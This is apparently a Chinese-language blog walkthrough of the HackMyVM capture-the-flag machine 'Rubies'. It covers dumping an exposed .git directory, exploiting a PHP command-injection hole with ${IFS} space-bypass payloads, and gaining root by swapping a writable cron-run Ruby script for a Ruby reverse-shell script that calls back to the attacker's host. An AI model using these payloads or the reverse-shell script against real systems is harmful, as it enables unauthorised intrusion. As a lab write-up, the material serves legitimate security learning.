Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm靶机Rubies的Walkthrough(gittools使用,ruby)

    Rubies是HackMyVm的离线靶机,难度评级是中等,下载地址是https://hackmyvm.eu/machines/machine.php?vm=Rubies,网站免费注册。

    VirtualBox加载并启动靶机,首先是nmap开路,扫出部分端口。

    图片.png


    打开80端口,显示两只可爱的小猫咪。点击Next按钮,会显示poems目录下的几首诗。有一个Upload按钮,查看源代码后提示该功能不可用。

    图片.png


    扫描后发现几个目录,浏览了其它几个目录后未发现有用的信息,这时注意力集中在了.git目录上。

    图片.png


    用GitTools下载相关内容,命令如下。

  /apps/GitTools/Dumper/gitdumper.sh http://192.168.56.21/.git/ ./gittmp 
  /apps/GitTools/Extractor/extractor.sh ./gittmp/ ./gitex/

           

    成功运行命令后,gitex下生成两个目录,其中一个目录中的index.php中包含关键信息。

    <?php
if(isset($_GET['poem'])){
    $input = $_GET['poem'];    
    if (strpos($input, ' ')){
        $output = "Rce detected";
    }else{
        $output = shell_exec("cat poems/".$input);
    }
}
// we dont need a login page dangit minnie! follow my orders pls
$servername = "localhost";
$username = "root";
$password = "jd92khn49w";
$conn = new mysqli($servername, $username, $password);
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
}
$login_username=$_POST['username'];
$login_password=$_POST['password'];
$sql = "SELECT * FROM users WHERE Username = '$login_username' AND Password = '$login_password' ";
$result = mysqli_query($con,$sql);
...


    文件中,得到一个密码,有没有用待会再试。同时,得到poem的代码,包含RCE漏洞。虽然过滤了空格,但是用简单的方法就可以bypass。测试一下,执行成功。

    图片.png


    接下的很显示,需要得到reverse shell。试了几种方法,包括python命令、php命令、bash命令、wget本机的shell,都没有成功。最后采用靶机的nc命令,在tmp目录上传py的shell,再利用RCE的python3执行。

    靶机:http://192.168.56.21/index.php?poem=poem1;nc${IFS}-nlp${IFS}1234${IFS}>/tmp/r.py
    本机:nc 192.168.56.21 1234 < /home/tmpuser/Documents/r.py

    上传成功后,本机监听相应端口,同时在靶机执行r.py的代码。

 http://192.168.56.21/index.php?poem=poem1;python3${IFS}/tmp/r.py

    成功反弹回shell。

    图片.png


    经过一番搜索,未发现可以直接提权的地方。这时想到刚才在index.php出现的密码,是不是minnie用户的密码呢?可以试一试。但是直接执行su会出错,需要对终端进行一些设置。

    python3 -c 'import pty;pty.spawn("/bin/bash");
    export  SHELL=bash
    export TERM=xterm-256color
    stty rows 90 columns  60

   

    这时,再执行su minnie,果然可以用刚才的密码切换用户。但是直接进行了ruby的shell,再执行exec "/bin/bash",熟悉的界面终于回来了。


    图片.png

    在home目录下,可以读取用户flag。这时,该寻找提权的办法了。minnie的用户目录下,有一个note.txt提示。

    图片.png


    经过一番搜索,发现一个有趣的目录/opt/cleaning,里面有一个ruby脚本,内容是不断清除/var/www/html/uploads里的php文件。

    图片.png

    上面这张截图是完成以后的,所以webserver_upload.rb文件的权限有点问题,不是minnie,而是root。但有趣的,cleaning目录对于minnie是可写的,这就是说我们虽然不能直接修改webserver_upload.rb的内容,但是可以替换它。这个文件有没有被运行呢?用pspy来查看一下。将pspy64上传到tmp目录并执行,果然,不一会儿就提示执行了这个脚本。

    图片.png

   

    我们用一个ruby脚本来替换这个文件。脚本是网上搜的,内容如下:

#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337 
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 2234, '192.168.56.100'
[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'

    接着上传到靶机的tmp目录,并强制覆盖原来的webserver_upload.rb。

    wget http://192.168.56.100/rshell.rb
    mv rshell.rb webserver_upload.rb
    mv -f webserver_upload.rb /opt/cleaning/

    cat查看一下文件内容,果然被我们的shell覆盖了。这时本机监听相关端口,不一会儿就得到了root的shell。

    图片.png


    最后还有一个小坑。cat root.txt怎么都显示不出内容,提示“找不到root.txt文件”。而bundle.rb文件里有个提示,照着提示的网址,也没弄出个所以然,估计是文件名里有非常规编码的字符。

    图片.png


    其实linux文件除了文件名,还有一个inode。我们显示root.txt文件的inode,然后用find -exec命令就可以显示内容了。

    图片.png


    至此,取得root flag,通关。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0